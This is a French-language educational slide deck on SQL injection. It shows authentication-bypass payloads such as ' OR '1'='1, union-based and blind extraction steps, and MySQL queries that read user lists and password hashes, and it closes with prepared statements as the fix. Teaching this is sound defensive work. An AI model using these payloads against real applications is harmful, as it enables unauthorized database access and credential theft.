Injections SQL

Alex GARRIDO - @Zeecka_

WHOAMI

Alex GARRIDO - Zeecka

Définitions

La faille SQLi, abréviation de SQL Injection, soit injection SQL en français, est un groupe de méthodes d'exploitation de faille de sécurité d'une application interagissant avec une base de données (sql).

Risques

  • Accès en lecture à tout ou partie de la base de données
  • Accès en écriture à tout ou partie de la base de données
  • Accès en lecture à tout ou partie du système de fichier
  • Accès en écriture à tout ou partie du système de fichier

Bases de données SQL

Bases de données SQL

Structure de requête (RAPPEL)

Stacked Query ?

Exécution de plusieurs requêtes en une seule transaction.

SQL Serv MySQL PostGre Oracle Access
ASP O ? ? ? N
ASP.net O ? ? ? N
PHP O N O ? N
JAVA ? ? ? N N
Source: https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
        

Cas d'école - Authentification

Cas d'école - Authentification

Cas d'école - Authentification

$user: Zeecka

$pass: p@$$w0rd

Cas d'école - Authentification

$user: Zeecka

$pass: " OR "1"="1

Cas d'école - Authentification

$user: Zeecka" --

$pass:

MySQL: #, -- , /*
MS SQL: -- , /*
MS Access: %00
Oracle: -- , /*

Injection SQL - Basique

Injection SQL - Basique

Exploitation d'injections dites "Union Based":

  1. Trouver le nombre de colonnes ( GROUP BY )
  2. Trouver les colonnes reflétées sur la page ( UNION SELECT )
  3. Exfiltrer les données de la bases de données dans les champs réflétés

Injection SQL - Exfiltration

MySQL

  • Version de la base de donnée: @@version
  • Nom de l'utilisateur courrant: user()
  • Liste des utilisateurs: SELECT user FROM mysql.user;
  • Liste des hash des mots de passes: SELECT password FROM mysql.user;
  • Nom de la base de données courrante: database()

Injection SQL - Exfiltration

MySQL

  • Lister les bases de données
    • SELECT schema_name FROM information_schema.schemata;
    • SELECT distinct(db) FROM mysql.db;
  • Lister les tables
    • SELECT table_name FROM information_schema.tables WHERE table_schema = "dbname";
  • Lister les colones
    • SELECT column_name FROM information_schema.columns WHERE table_schema = "dbname" AND table_name = "matable";
  • Exfiltrer le contenu

Injection SQL - Aveugle

Injection SQL - Aveugle

Tester des conditions booléennes

Exemple:

  • AND LENGTH(pass) < 10
  • AND SUBSTR(pass,1,1) = 'p'
  • AND ASCII(SUBSTR(pass,1,1)) >= 107

Injection SQL - Time Based

Remédiation

Requêtes préparées

Ressources

Ressources

Ressources

Injections SQL

By Zeecka

Injections SQL

  • 1,386